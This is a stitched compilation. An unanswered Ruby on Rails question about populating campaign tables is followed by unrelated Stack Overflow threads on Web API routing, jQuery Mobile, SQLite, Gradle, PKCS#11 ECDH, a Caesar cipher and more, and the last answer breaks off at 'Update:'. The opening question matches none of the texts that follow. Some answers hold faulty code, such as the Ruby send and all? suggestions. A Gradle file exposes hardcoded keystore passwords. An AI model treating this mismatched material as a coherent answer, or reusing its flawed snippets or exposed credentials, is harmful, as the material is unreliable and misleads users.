How can I allow for the third level table (or series of tables) to be populated with the total permutations of selected category and metro upon the creation of a campaign and also work with ruby on rails active record constructs?


text:
Q: Web API Controller path? I'm new to Web API and followed some examples, but I cannot work out where the Controller Name is specified.
I have this in my global.asax:
protected void Application_Start(object sender, EventArgs e)
{
    RouteTable.Routes.MapHttpRoute(
    name: "API Controller",
    routeTemplate: "api/{controller}/{action}/{id}",
    defaults: new { id = System.Web.Http.RouteParameter.Optional }
    );
}

I have a Controller called TestAPI.cs
and this is the contents:
namespace Testing
{
    public class TestAPI : ApiController
    {
        // GET api/<controller>
        public IEnumerable<string> Get()
        {
            return new string[] { "value1", "value2" };
        }

        // GET api/<controller>/5
        public string Get(int id)
        {
            string test= "Hello!";
            return test
        }
    }
}

I've only put "return test" in there as an example for Stack Overflow as it contains a lot of code.
So if I am consuming this in jQuery, what path would I use for the controller?

A: Aside from the naming convention about your Web Api controller name, you also need to change the route configuration. see below:
1) Change your TestAPI controller like below:
 public class TestAPIController : ApiController

2) change MapHttpRoute in your Application_Start method like below:
    GlobalConfiguration.Configuration.Routes.MapHttpRoute(
      name: "API Controller",
      routeTemplate: "api/{controller}/{id}",
      defaults: new { id = RouteParameter.Optional }
      );

Note: Don't forget also change the actual file name form TestAPI.cs to TestAPIController.cs.

A: Rename your controller to TestApiController and remove the {action} parameter from the route.

A: That should just be
http://[yourserver]/[yourapp]/api/testapi

or
http://[yourserver]/api/testapi

Depending on how you set up your application

A: Isn't your controller name supposed to end in "Controller" even if it's a WebApi controller?
I think
public class TestAPI : ApiController

should be
public class TestAPIController : ApiController


text:
Q: Domain Driven Design - where does data parsing belong In this application I'm developing, the domain revolves around, say, electrical appliances. There are several specialized versions of this entity. Appliances can be submitted to the application, and this happens from web services using data transfer objects.
While this is working great, I am now looking at importing appliances from several text-based file formats as well. Consider this workflow:

*

*Directory watcher service sees a new appliance file has been added

*The service uses an application service from my application to submit the appliances described by the file

Now, the application service could have a method with the following name and signature: ApplianceService.Register(string fileContents). I'm thinking the directory watcher service will use this service method and pass it the entire contents of the file. The application service will then coordinate the parsing. Parsing the contents of the file and transforming it into complete appliances entities involves several steps.  Now, my question is:
Question: Is this correct, or should the parsing logic live within the directory watcher service? Each type of file format is kind of a part of the domain, but then again, it's not. After the files are parsed into entities from either format, the entity will never know that it once was represented using that format. If the parsing logic should live within the watcher service, I would pass the new appliances to the registration service as data transfer objects.
I guess what I'm concerned about is how an appliance should be represented before it enters my application (using the application layer as point of entry). When submitting appliances from web services, I pass a sequence of appliance data transfer objects. This is different from taking a potentially oddly formatted file and parsing that into a data transfer object, since the mapping from the web service request to data transfer object is pretty straight forward, and not that complex.
Any thoughts on this are very much welcome.

A: According SRP (Single Responsibility Principle), you should keep your consideration. Directory Watcher service should do what it does best - watch for new files in a directory and pass them to another service, ie Appliance Service which converts them into data transfer objects. Now you can use your web services to submit those data transfer objects to the Application.
I would make an interface for Appliance Service, with at least one method called Convert(). Appliance Parsing Service class can implement the interface. Let's say later you have a different source (SQL) for appliances. You can write another class Appliance SQL Service that implements Appliance Service.

A: I'd say that the ApplicationService is the right place for the parsing logic, thought it would not be an entirely bad fit to put it in the DirectoryWatcher service.
My reasoning for that statement comes from a Single Responsibility Principle point of view: The DirectoryWatcher in particular should not be responsible for managing all the various input file formats. It should just grab what it receives and pass it on to the right place (already a very involved responsibility).
Where my head got a little turned around (which is maybe the same as yourself?) was that it isn't really the responsibility of the ApplicationService which coordinates your various domain entities. However, I feel that the ApplicationService is the right place to leverage some sort of Builder pattern, abstracting away the details of each method of parsing each file but also creating a clear place in the Domain where this parsing is coordinated.
As for each file format being part of the domain or not. I'd say that they are - you can imagine them all being expressed as part of the ubiquitous language, having various domain experts talking about the quirks of x file format or y file format and the data expressed. That sort of parsing and mapping is very much first class domain logic.
Another nice side of your original design is I think it would simplify adding in new input file sources and formats and modifying existing ones. You have decoupled the file source from the specific format, and created a nice interface point (the ApplicationService) where your new file providers access the core applications.


text:
Q: Getting values (settings) out of and back into a jQuery Mobile 1.4 form. How to do? So this is the question I know I should have asked initially, here:
How do I get these jQM 1.4 values out of a form with jQuery?
My issue is this - I have a settings panel that allows the user to choose age, gender and metric or imperial units. I store the settings in localStorage and whenever the user re-opens the application I want to pull them out of localStorage in order to implement them in the application.
This is the form
<form style="margin:0;padding:0;width:">
  Age

  <input type="range" data-mini="true" data-highlight="true" name="ageview" id="ageview" min="0" max="99" value="30" >

    Gender

    <input type="checkbox" data-role="flipswitch" name="genderview" id="genderview" checked="" data-on-text="f" data-off-text="m" data-wrapper-class="custom-label-flipswitch" data-mini="true">

    Units

  <fieldset data-role="controlgroup" data-mini="true">
    <input type="radio" name="unitsview" id="metric_units" value="metric" checked="">
    cm & kg
    <input type="radio" name="unitsview" id="imp_units" value="imp">
    inches & lbs
  </fieldset>
</form>

When the user clicks the save button, with id="newsettings" this script runs
$("#newsettings").click(function(){
    age_set = $("#ageview").val();
    gender_set = $("#genderview:checked").length > 0 ? 'f' : 'm';
    units_set = $("input[name=unitsview]:checked").val();
    settingsObject = { "ageset" : age_set, "genderset" : gender_set, "unitset" : units_set} //put settings in an object
    localStorage.setItem('settings', JSON.stringify(settingsObject)); //store string in localSettings}
);

Thanks to Jack in the other thread for that.
The problem is I don't know how to put these changes BACK into the form. The only one I can get working is the Age, like this
$("#ageview").val(age_set);

I've tried both
$("input[name=unitsview]").val(units_set);

and
$("input[name=unitsview]:checked").val(units_set);

and neither does anything.
And I don't know where to start with the Gender.
I'm not asking for just the solution using my form set up. The slider input clearly works for the Age though. My question is twofold:

*

*Is there a way to easily insert the saved values? and

*If not, is there some other way I can capture these settings in the form? Are there other controls that are easier to manipulate?

A:
Here is a DEMO

$("#setVals").on("click", function(){
    var age = 32,
        gender = 'male',
        units = 'imp_units';

    $("#ageview").val(age);
    $("#genderview").prop("checked", gender == 'female').flipswitch( "refresh" );
    if (units == 'metric_units'){
        $("#unit_choice1").prop("checked", true).checkboxradio( "refresh" );
        $("#unit_choice2").checkboxradio( "refresh" );
    } else {
        $("#unit_choice2").prop("checked", true).checkboxradio( "refresh" );
        $("#unit_choice1").checkboxradio( "refresh" );
    }
});

On the flipswitch you set the checked property to true or false and then call refresh on the widget.  For the radio buttons, you set the checked property for the appropriate one and then call the widget refresh on both.

A: @ezanker's answer is correct in case values are stored in variables. However, when you use localStorage to save data and retrieve them later on, you cant use that method.
You need to save all data into an array, convert array into JSON string using JSON.stringfy(array) to be able to store it in localStorage.
To retrieve store data, JSON string should be parsed as JSON array in order to read values stored, using JSON.parse(localStorage).

*

*Step one:
Loop through form elements, retrieve their type, value and id. Push each property into an array. Identifying type is a crucial step, based on it, element's value is retrieved. Moreover, type will be used in switch statement to update the form.
var elements = []; /* array of data */

$("#form_ID input").each(function () {

    /* type is either [type] or [data-role] */
    var elm_type = !! $(this).jqmData("role") ? $(this).jqmData("role") : $(this).prop("type");

    /* value is "string" or "boolean" */
    var elm_val = $(this).prop("type") === "checkbox" || $(this).prop("type") === "radio" ? $(this).prop("checked") : $(this).val();

    /* value will updated based on element's ID */
    var elm_id = "#" + $(this).prop("id");

    /* push data into elements array */
    elements.push({
        "type": elm_type,
            "value": elm_val,
            "id": elm_id
    });
});
/* array to string and save it */
localStorage["info"] = JSON.stringify(elements);

*Step two:
To read data stored in localStorage, it needs to be parsed first. Then loop through values and update form using switch statement.
Why switch statement? Each widget in jQuery Mobile has it's own enhancement/update method. i.e. updating a value of a checkbox/radio button, .checkboxradio("refresh") should be used to re-apply styles on that element.
Note that I have used .ui-page-active selector to target elements by their id in active page. This is a preventive measure as not to target elements in any other page. You can use same id but on two conditions; 1) don't use them on the same page. 2) use page's id selector to target them.
/* string to array */
var load_info = JSON.parse(localStorage["info"]);

$.each(load_info, function (i, data) {
    switch (data.type) {
      case "number": /* slider */
          $(".ui-page-active").find(data.id).val(data.value).slider("refresh");
          break;
      case "flipswitch": /* flipswitch */
          $(".ui-page-active").find(data.id).prop("checked", data.value).flipswitch("refresh");
          break;
      case "radio": /* radio button */
          $(".ui-page-active").find(data.id).prop("checked", data.value).checkboxradio("refresh");
          break;
    }
});

Demo (1)

(1) Do changes on form -> Save -> Next Page -> Load -> Voilà!

A: Thanks for the feedback guys. I've been trying to reference my option in the select I'm using, like this.
$("#ageview").val(age);
if(gender == "f"){
    $("#genderview option[value='f_gender']").prop("selected", true).flipswitch( "refresh");
    $("#genderview option[value='m_gender']").flipswitch( "refresh");
} else{
    $("#genderview option[value='m_gender']").prop("selected", true).flipswitch( "refresh");
    $("#genderview option[value='f_gender']").flipswitch( "refresh");
}
if (units == "metric"){
    $("#metric_units").prop("checked", true).checkboxradio( "refresh" );
    $("#imp_units").checkboxradio( "refresh" );
} else {
    $("#imp_units").prop("checked", true).checkboxradio( "refresh" );
    $("#metric_units").checkboxradio( "refresh" );
}

I just don't know how to reference these things in jQuery Mobile and the official docs confuse me :(
EDIT: And for an edit, here it is. This was so frustratingly easy.
$("#genderview").val(gender).flipswitch("refresh");

That's it.
2 days of struggle. :(
But I couldn't have done it without you guys. Thanks so much.


text:
Q: SQLite: How to get absolute row number I'm trying to get the absolute record number of a row after it has been returned by a query (in Perl). Let's say I query my table as follows:
my $stmt = "SELECT * FROM MAIN WHERE item='widget' LIMIT 1;";
my $sth  = $dbh->prepare( $stmt );
my $rv   = $sth->execute();

How can I find out the absolute row number of the returned row? I tried using ROWID:
my $stmt = "SELECT ROWID, * FROM MAIN WHERE item='widget' ORDER BY ROWID LIMIT 1;";
my $sth  = $dbh->prepare( $stmt );
my $rv   = $sth->execute();
my $row  = $sth->fetchrow_hashref();

if( defined( $row ) ) {
  $RecordNumber = $row->{'rowid'};
}

This works if you never ever delete a row from the table.
But Row IDs never change. So if you delete rows from the table, the rowids no longer match the absolute row number in the table.
I hope my question is clear (English is not my native language).

A: Let's take this example
sqlite> create table my_example (field1);
sqlite> insert into my_example values ('abc');
sqlite> insert into my_example values ('booooo');
sqlite> insert into my_example values ('3231-556');
sqlite> .mode column
sqlite> .header on
sqlite> select * from my_example;
field1
----------
abc
booooo
3231-556
sqlite> select rowid, * from my_example;
rowid       field1
----------  ----------
1           abc
2           booooo
3           3231-556
sqlite> delete from my_example where field1='abc';
sqlite> select rowid, * from my_example;
rowid       field1
----------  ----------
2           booooo
3           3231-556
sqlite> insert into my_example values ('abc');
sqlite> select rowid, * from my_example;
rowid       field1
----------  ----------
2           booooo
3           3231-556
4           abc
sqlite>

a way of getting what I understand you want to achieve (something similar to a rown_num) would be:
sqlite> select (select count(*) from my_example b where a.rowid >= b.oid ) as cnt, * from my_example a;
cnt         field1
----------  ----------
1           booooo
2           3231-556
3           abc
sqlite>

hope this helps


text:
Q: Embedded database with row locking feature for c# Please do suggest an embedded database with row locking feature for c# ?

A: Firebird might be an option if you are looking for a free one.

A: I'm not sure what you mean by "row locking features" in this context, but have you looked at VistaDB ?

A: Isn't that a self-defeating request? If you are embedding the database then it's just accessing a file from your executable. The file wouldn't support row locking and any row locking by the embedded database would be limited to the scope of your application. Are you building a multi-threaded application?

A: ESENT is an embedded database which is part of Windows (the Active Directory uses it). It has row locking but no query engine. The managed interface is here:
http://managedesent.codeplex.com/

A: I dont quite understand why you would need row locking with an embedded database? Are you using multiple threads for access across multiple connections or transactions? or are you assuming that other processes can access the datafile?
Assuming that the row locking is a mistake, Microsoft offers a good choice with SQL Server Compact edition (http://www.microsoft.com/sqlserver/2008/en/us/compact.aspx). This is fully embeddable, and is reasonably compatible with the full SQL Server stack.

A: I suggest the excelent (dual license) Perst database.
Disclaimer: I don't have any relation with the company, just tried the product in the past.


text:
Q: Baire functions are constant? Is it true that every Baire function $f:\mathbb{R}\to \mathbb{N}$ must be constant?
$f:X \to Y$ is a Baire function for $X,Y$ metrizable spaces if $f$ is a member of $F(X,Y)$, where $F$ is the smallest class of function from $X$ to $Y$ containing continuous functions and being closed under pointwise limits.

A: HINT:
Recall that the continuous image of a connected space is connected. Therefore every continuous function from $\Bbb R$ to $\Bbb N$ is constant. It suffices to show, if so, that pointwise limit of constant functions is constant.


text:
Q: Building a dynamic query with separate hashes Ok, I've been trying to figure out how to approach this all morning. Let's say you have a hash that looks like this:
{"luxury_shopper"=>"10", "movie_goer"=>"80"}

and you want to build a query that looks like this:
Observation.search("something", boost_by: {biz_trv:{factor: 10}} && {day_com:{factor:100}})

My approach so far is to convert the incoming hash to look like this:
[{:luxury_shopper=>{:factor=>"10"}}, {:movie_goer=>{:factor=>"80"}}]

by iterating over the original hash like this:
params[:filter].map {|k,v| {k.to_sym => {factor:v}}}

The problem I'm having is that since the query I'm trying to build is made up of an unknown number of hashes that I will "boost_by", I can't just do something like filters[0] && filters[1] I'm stumped here. Does anyone know how I could dynamically insert hashes into my query and place the operator between them?
EDIT:
The query looks like this:
Observation.search("someting", boost_by: `insert hash` `insert operator` `insert hash` etc...)

The above query could have any number of hashes and operators. So if a user wanted to pass in 10 fields to boost_by, I need to be able to accept all 10 of those hashes and whatever operator goes between them, so for example, my query could look like either of the below examples:
Observation.search("something", boost_by: {biz_trv:{factor: 10}})

Observation.search("something", boost_by: {biz_trv:{factor: 12}} && {day_com:{factor:50}} && {location:{factor:40}})

A: i have a solution that involves forming a string of your query, and then using the #send method to deliver your query string to the object.
hash = {"luxury_shopper"=>"10", "movie_goer"=>"80"}
BLANK_PARAMS = "boost_by: "
params = BLANK_PARAMS
hash.each do |k, v|
  if params == BLANK_PARAMS
    params += "{#{k}: {factor: #{v}}}"
  else
    params += " && {#{k}: {factor: #{v}}}"
  end
end

at the end of this operation, the params string will be the following:
"boost_by: {luxury_shopper: {factor: 10}} && {movie_goer: { factor: 80}}"

so if you now wanted to run the following command:
Observation.search("something", boost_by: {luxury_shopper: {factor: 10}} && {movie_goer: {factor: 80}})

you could do so using #send as such:
Observation.send('search', 'something', params)

A: I'm not sure if correctly understand your question, but if you need apply && between arbitrary number of elements, you may simply use Enumerable#all? method, like
filters = [{biz_trv:{factor: 10}}, {day_com:{factor:100}}, …]
Observation.search("something", boost_by: filters.all?)

Update:
filters = [{biz_trv:{factor: 12}}, {day_com:{factor:50}},
           {location:{factor:40}}]
Observation.search("something",
                   boost_by: filters.inject {|ac,e| ac && e})

A: Assuming you always want to use the same operator, you want to pass the output of your map to something that behaves like inject:
(params[:filter].map {|k,v| {k.to_sym => {factor:v}}}).inject() { |r,c| r && c }

Note: not tested!


text:
Q: How do I fix this circular dependency error in android studio Circular dependency between the following tasks:
:app:checkManifestChangesRelease
\--- :app:instantRunMainApkResourcesRelease
     \--- :app:transformClassesAndDexWithShrinkResForRelease
          \--- :app:transformDexArchiveWithDexMergerForRelease
               +--- :app:preColdswapRelease
               |    \--- :app:incrementalReleaseTasks
               |         +--- :app:transformClassesAndClassesEnhancedWithInstantReloadDexForRelease
               |         |    \--- :app:transformClassesWithInstantRunForRelease
               |         |         \--- :app:checkManifestChangesRelease (*)
               |         \--- :app:transformClassesWithInstantRunForRelease (*)
               \--- :app:transformClassesWithDexBuilderForRelease
                    +--- :app:preColdswapRelease (*)
                    \--- :app:transformClassesWithInstantRunForRelease (*)

(*) - details omitted (listed previously)

Here is my build.gradle file.
apply plugin: 'com.android.application'
apply plugin: 'com.google.gms.google-services'

allprojects {
    repositories {
        google()
        jcenter()

        maven { url "https://jitpack.io" }
    }
}

buildscript {
    repositories {
        google()
        jcenter()
    }

    dependencies {
        classpath 'com.android.tools.build:gradle:3.2.1'
        classpath 'com.google.gms:google-services:4.0.0'
    }
}

android {

    signingConfigs {
        config {
            keyAlias 'key1'
            keyPassword 'galimane'
            storeFile file('/home/natesh/Documents/android_movie_go_key_store/movie_go_key.jks')
            storePassword 'galimane'
        }
    }
    compileSdkVersion 28
    defaultConfig {
        applicationId "com.techy.nateshmbhat.moviego"
        minSdkVersion 22
        targetSdkVersion 28
        versionCode 1
        versionName "1.0"
        testInstrumentationRunner "android.support.test.runner.AndroidJUnitRunner"
    }
    buildTypes {
        release {
            minifyEnabled true
            shrinkResources true
            proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'
            debuggable true
            signingConfig signingConfigs.config
        }
        debug {
            signingConfig signingConfigs.config
        }
    }
}

dependencies {
    implementation 'com.google.firebase:firebase-core:16.0.0'
    implementation 'com.google.firebase:firebase-messaging:17.0.0'
    implementation 'com.google.firebase:firebase-database:16.0.1'
    implementation 'com.android.volley:volley:1.1.0'
    implementation 'com.google.code.gson:gson:2.8.+'
    implementation 'com.squareup.picasso:picasso:2.71828'
    implementation 'com.google.code.gson:gson:2.8.5'
    implementation 'info.movito:themoviedbapi:1.7'
    implementation fileTree(include: ['*.jar'], dir: 'libs')
    //noinspection GradleCompatible
    implementation 'com.android.support:appcompat-v7:28.0.0-alpha3'
    implementation 'com.android.support:design:28.0.0-alpha3'
    implementation 'com.android.support.constraint:constraint-layout:1.1.2'
    implementation 'com.android.support:support-v13:28.0.0-alpha3'
    testImplementation 'junit:junit:4.12'
    androidTestImplementation 'com.android.support.test:runner:1.0.2'
    androidTestImplementation 'com.android.support.test.espresso:espresso-core:3.0.2'
    implementation 'com.android.support:gridlayout-v7:28.0.0-alpha3'
}

A: I had the same problem, disabling Instant Run worked for me. Preferences -> Build, Execution, Deployment -> Instant Run and disable it.


text:
Q: Jquery, Adding effect on slide image with prev/next link I'm new in jquery and i'm trying to make a slider with jquery here is my script for now:
      $(function()
  {
    var bgCounter = 0,
    text = [
    'some html code here',
    'some html code here',
    'some html code here',
    ],
    link = [
    'LINK',
    'LINK',
    'LINK'
    ],
    backgrounds = [
    "img.jpg",
    "img.jpg",
    "img.jpg"
    ];
    function changeBackground()
    {
      bgCounter = (bgCounter+1) % backgrounds.length;
      $('#Main-screen').css('background', 'url('+backgrounds[bgCounter]+')');
      $('#Main-screen').css('background-size','cover');
      $('#example').html(text[bgCounter]);
      $('a.link').attr("href", "#"+link[bgCounter]);
      setTimeout(changeBackground,4000);
    }
    changeBackground();
  })();

And this is the html/css part :
  #Main-screen {
      position: relative;
      width:100%;
      height: 100%;

I don't know if with this script i can add an effect (like fade) when my image is switching and add a next/prev link on this. So if anyone have an idea to do this. I realy don't know if ths is possible with my script. So if this isn't possible can anyone show me with an exemple it would be realy great.
Sorry my english is not very good.

A: try to add the effect to the background-img cahnge like that:
  $('#Main-screen').fadeIn().css('background', 'url('+backgrounds[bgCounter]+')');

A: You can easy bind in this jQuery slider:
http://rocha.la/jQuery-slimScroll

for auto scrolling:
set the scrollbar hidden and change the position of the slimScrollBar with javascript
if you want to add any animation to the pictures, i recommend this:
http://www.minimamente.com/example/magic_animations/


text:
Q: Fastest way to replace values in array I have 2 arrays as follow:
l=
array([[1205, 1420, 1340],
       [1306, 1530, 1045],
       [2001, 135, 1207],
               ...]])

y=
array([[1200, 1320, 2001],
       [1306, 1530, 1045],
              ...,
       [  0,   3,   0]])

I would like to find the fastest way to replace values (the sub arrays) in l that are in y by [1000,1000,1000].
for example I would get:
 l=
array([[1205, 1420, 1340],
   [1000, 1000, 1000],
   [2001, 135, 1207],
           ...]])

So far I've tried a 'for' loop  with 'if' condition but it takes too much time.
Thanks for your suggestions.

A: We could use views to view each row as one element, then use np.isin to get a boolean array of presence, use it to index and finally assign -
# https://stackoverflow.com/a/45313353/ @Divakar
def view1D(a, b): # a, b are arrays
    a = np.ascontiguousarray(a)
    b = np.ascontiguousarray(b)
    void_dt = np.dtype((np.void, a.dtype.itemsize * a.shape[1]))
    return a.view(void_dt).ravel(),  b.view(void_dt).ravel()

l1D,y1D = view1D(l,y)
l[np.isin(l1D, y1D)] = [1000,1000,1000]

Sample run -
In [36]: l
Out[36]:
array([[1205, 1420, 1340],
       [1306, 1530, 1045],
       [2001,  135, 1207],
       [   2,    3,    4]])

In [37]: y
Out[37]:
array([[1200, 1320, 2001],
       [1306, 1530, 1045],
       [   0,    3,    0]])

In [38]: l1D,y1D = view1D(l,y)

In [39]: l[np.isin(l1D, y1D)] = [1000,1000,1000]

In [40]: l
Out[40]:
array([[1205, 1420, 1340],
       [1000, 1000, 1000],
       [2001,  135, 1207],
       [   2,    3,    4]])


text:
Q: IAIK PKCS#11 Wrapper: ECDH KeyAgreement Example I try to perform some ECDH key agreement, using the IAIK PKCS#11 wrapper (https://jce.iaik.tugraz.at/sic/Products/Core_Crypto_Toolkits/PKCS_11_Wrapper), explizitly NOT using the JCE provider. So far I did not find any example how to do so, especially setting up the key template and mechanism (and mechanism-parameters).
Do you have some example, how to perform this and verify the result, optimally using BouncyCastle?
thank you!

A: In the end, I made it work on my own.
First be aware, that the IAIK PKCS#11 wrapper does not support all key derivation functions of PKCS#11.
DHKeyDerivationParameters.KeyDerivationFunctionType specifies what it supports and sadly, although you
provide a long, it checks if the value is known, so you can not simply provide the values defined for other KDF
functions. Still, if your PKCS#11-module supports it, you can use DHKeyDerivationParameters.KeyDerivationFunctionType.NULL
and do the derivation on your own.
For the following to snippets let session be some iaik.pkcs.pkcs11.Session, which is properly
authenticated to use the selected ECDH key.
Do the following to derive a key, in this case for AES (2Des and 3DES or other AES lengths are mostly the same):
final long CKA_VALUE_LEN = 0x00000161;

byte[] deriveKey(byte[] publicKey, byte[] salt, long keyDerivationFunction) throws Exception {
    // setting up mechanism:
    EcDH1KeyDerivationParameters params = new EcDH1KeyDerivationParameters(keyDerivationFunction, salt, publicKey);
    Mechanism mechanism = Mechanism.get(PKCS11Constants.CKM_ECDH1_DERIVE );
    mechanism.setParameters(params);

    // setting up keyTemplate, specifying how the derived key looks like:
    Key keyTemplate = new AESSecretKey();
    keyTemplate.putAttribute(CKA_VALUE_LEN, new Long(32));

    AESSecretKey derivedKey = ((AESSecretKey)session.deriveKey(mechanism, key, keyTemplate));
    return derivedKey.getValue().getByteArrayValue();
}

To retrieve the plain ECDH shared secret, proceed as follows:
byte[] getSharedSecret(byte[] publicKey) throws Exception{
    // setting up mechanism:
    EcDH1KeyDerivationParameters params = new EcDH1KeyDerivationParameters(DHKeyDerivationParameters.KeyDerivationFunctionType.NULL, null, publicKey);
    Mechanism mechanism = Mechanism.get(PKCS11Constants.CKM_ECDH1_DERIVE );
    mechanism.setParameters(params);

    // four our PKCS#11 module, using a GenericSecretKey without length returns
    // the complete derived secret:
    Key keyTemplate = new GenericSecretKey();

    GenericSecretKey derivedKey = ((GenericSecretKey)session.deriveKey(mechanism, key, keyTemplate));
    return derivedKey.getValue().getByteArrayValue();
}

To perform the 'other' side and validate, that the derived value is as expected, you can use BouncyCastle and the following code:
void testKeyDerivation(ECPublicKey otherPublic, byte[] salt) throws Exception{
    // create some keypair, which fits to the EC key, IAIK is using:
    KeyPairGenerator keyGen = KeyPairGenerator.getInstance("ECDH", BouncyCastleProvider.PROVIDER_NAME);
    keyGen.initialize(otherPublic.getParams());
    KeyPair testKeyPair = keyGen.generateKeyPair();
    ECPublicKey publicTestKey = (ECPublicKey) testKeyPair.getPublic();

    // convert the JCE Publickey to the required format, using BouncyCastle:
    byte[] encodedPublicTestKey = EC5Util.convertPoint(publicTestKey.getParams(), publicTestKey.getW(),false).getEncoded(false);
    // format is 0x04 X Y where X and Y are byte[], containing the (padded) coordinates of the point,
    // specifying the public key

    // in fact, you need to do only one of these, but I want to show, how both works:
    byte[] iaikDerivedKey =  deriveKey(encodedPublicTestKey, salt, DHKeyDerivationParameters.KeyDerivationFunctionType.SHA1_KDF);
    byte[] iaikDerivedSecret =  getSharedSecret(encodedPublicTestKey);

    // verify that both sides indeed agree:
    KeyAgreement ka = KeyAgreement.getInstance("ECDH", BouncyCastleProvider.PROVIDER_NAME);
    ka.init(testKeyPair.getPrivate());
    ka.doPhase(otherPublic, true);
    byte [] secret = ka.generateSecret();

    Assert.assertTrue(Arrays.equals(iaikDerivedSecret,  secret));

    Digest digest = new SHA1Digest();
    KDF2BytesGenerator kdf = new KDF2BytesGenerator(digest);
    DerivationParameters derivationParameters = new KDFParameters(secret,salt);

    kdf.init(derivationParameters);
    byte[] derivedKey = new byte[iaikDerivedKey.length];
    kdf.generateBytes(derivedKey, 0, iaikDerivedKey.length);
    Assert.assertTrue(Arrays.equals(iaikDerivedKey,  derivedKey));
}

This does work for me with IAIK PKCS#11 Wrapper Version 1.5 and BouncyCastle Version 1.59, using my companies PKCS#11 Middleware and some Smartcard. I hope it also helps somebody else, trying to do the same.


text:
Q: Grails remoteLink not using my javascript I have this code in my gsp that i use when i create and edit

        <g:message code="components.inventoryItem.label" default="Inventory Item" />
        *

    <g:select class="select2" style="width:30% !important" id="inventoryItem" name="inventoryItem.id" from="${rms.InventoryItem.list()}" optionKey="id" optionValue="name" required="" value="${componentsInstance?.inventoryItem?.id}"/>

It looks like this, ignore the quantity and unit fields
It works fine on create but when i use remoteLink to edit somehow the javascript for my class="select2" doesnt work.
<g:remoteLink id="${ci.id}" controller="superAdmin" action="editComponents" update="componentsShown_${ci.id}">
    <button type="submit" class="btn btn-primary pull-right" style="margin-right:5px;"> Edit</button>
</g:remoteLink>

Now it looks like this

I use remoteLink to update my modal when i edit the body of my modal

            <g:if test="${ci?.inventoryItem}">

                    <g:message code="components.inventoryItem.label" default="Inventory Item" />
                    ${ci?.inventoryItem?.name?.encodeAsHTML()}

            </g:if>

            <g:if test="${ci?.quantity}">

                    <g:message code="components.quantity.label" default="Quantity" />
                    <g:fieldValue bean="${ci}" field="quantity"/>

            </g:if>

            <g:if test="${ci?.units}">

                    <g:message code="components.units.label" default="Units" />
                    <g:fieldValue bean="${ci}" field="units"/>

            </g:if>

    <g:form>
        <g:hiddenField name="id" value="${ci.id}" />

            <button type="submit" class="btn btn-primary pull-right" name="_action_deleteComponents" value="deleteComponents">
                 Delete
            </button>

            <g:remoteLink id="${ci.id}" controller="superAdmin" action="editComponents" update="componentsShown_${ci.id}">
                <button type="submit" class="btn btn-primary pull-right" style="margin-right:5px;">
                     Edit
                </button>
            </g:remoteLink>

    </g:form>


text:
Q: Unexpected character ' ' (1:0) in node_modules\create-react-context\lib\index.js This keeps happening in create-react-app every time I add a package using yarn.
./node_modules/create-react-context/lib/index.js
SyntaxError: d:\project\client\node_modules\create-react-context\lib\index.js: Unexpected character ' ' (1:0)

> 1 |
    | ^

I have to copy this
https://github.com/jamiebuilds/create-react-context/blob/master/src/index.js
and paste it to node_modules\create-react-context\lib\index.js every time to get rid off that error.
I'm using VSCodium as my editor.
How can I get rid off this error permanently?

A: I haven't found a permanent solution to this problem. I had to stop working on that project for some reason and since then I didn't face this problem in any other project. In the future if anyone stumbles upon this error this is the temporary solution.
Copy the contents of this file https://github.com/jamiebuilds/create-react-context/blob/master/src/index.js to node_modules\create-react-context\lib\index.js.

A: Ran into this issue on Windows 10 after using echo > index.js to create the index.js file. It appears to have inserted characters which were not compatible with the encoding. Just create index.js using File Explorer or another editor.


text:
Q: Loops full JsonObject using Google Gson recursively I want loops across the full object, with all their properties recursively, I am using google gson for first time, and I can't get all the properties values (how String)
Any can help me with this?
A example of JSON:
{"data1":100,"data2":"hello","list":["String 1","String 2","String 3"]}

I really don't know the real format of the JSON, but I know that if can have a lot of sons properties and list, Its really important get all values (repeateds keys or not)
I tried with the toString() with full object at First but I can't get only the values (I tried using entrySet, converting to JSONArray... but Im becoming crazy)
Thanks for the help.

A: I solved my problem with finally with this code:
Sometimes is better rest a little :)
StringBuilder sb = new StringBuilder("");

    for (Entry<String, JsonElement> entry : json.entrySet()) {

        if (entry.getValue().isJsonObject()) {
            sb.append(getJsonTokenize(entry.getValue().getAsJsonObject()));
        } else {
            sb.append(entry.getValue().getAsString());
        }

    }

    return sb.toString();


text:
Q: last character not rotating correctly I've written a code for Caesar cipher where 1st input is length of string without any spaces, 2nd input is string to be rotated & 3rd is key by which to rotate. My code is working except the last character of string. For that some strange character is coming instead of an alphabet. Please help!!!..I'm at my wits end..just can't figure out! Below is the code:-
    import java.io.*;
    import java.util.*;
    public class Solution {
    public static void main(String[] args) {
    int length,rotate,i,x;
    Scanner scan=new Scanner(System.in);
    String s;
    length=scan.nextInt();
    s=scan.next();
    rotate=scan.nextInt();
    char c[]=s.toCharArray();
    for(i=0;i<length;i++) {
    x=c[i];
    if(((x>65)||(x==65))&&((x==90)||(x<90))) {
    x=x+rotate;
    if(x>90)
    x=x-90;
    }
    else if(((x>97)||(x==97))&&((x==122)||(x<122))) {
    x=x+rotate;
    if(x>122)
    x=x-122;
    }
    c[i]=(char)x;
    }
    System.out.println();
    for(i=0;i<length;i++)
    System.out.print(c[i]);
    }
    }

input is:-
    11
    middle-Outz
    2

output should be:-
    okffng-Qwvb

but instead my output is coming as:-
    okffng-Qwv

please help!!! please...someone tell whats the mistake in my code!

A: You don't currently have any logic to handle the case where a letter wraps around to the start of the alphabet if the rotation shift exceed a certain threahhold.  Your logic should be to add to the base value (i.e. first letter) the remainder of the initial shift plus the rotation amount divided by the size of the alphabet.  Something like this:
public static void main(String[] args) {
    int length, rotate, i, x;
    Scanner scan = new Scanner(System.in);
    String s;
    // don't input the length of the array, let it tell you what its length is
    //length = Integer.parseInt(scan.nextLine());
    s = scan.nextLine();
    // make sure you really enter a pure integer here, to avoid a crash
    rotate = Integer.parseInt(scan.nextLine());
    char c[] = s.toCharArray();
    for (i=0; i < c.length; i++) {
        x = c[i];
        int base;
        if (x >= 65 && x <= 90) {
            base = 65;
        }
        else if (x >= 97 && x <= 122) {
            base = 97;
        }
        else {
            continue;
        }
        int diff = x - base;
        x = base + (rotate + diff) % 26;
        c[i] = (char)x;
    }
    System.out.println();
    for (i=0; i < c.length; i++)
        System.out.print(c[i]);
}

Note that I chose to not modify a character which is not either a lowercase or uppercase English letter.  In case of other characters, they would not be rotated.
Follow the link below for a demo which shows that the input middle-Outz is correctly being transformed to okffng-Qwvb.
Rextester
Update:
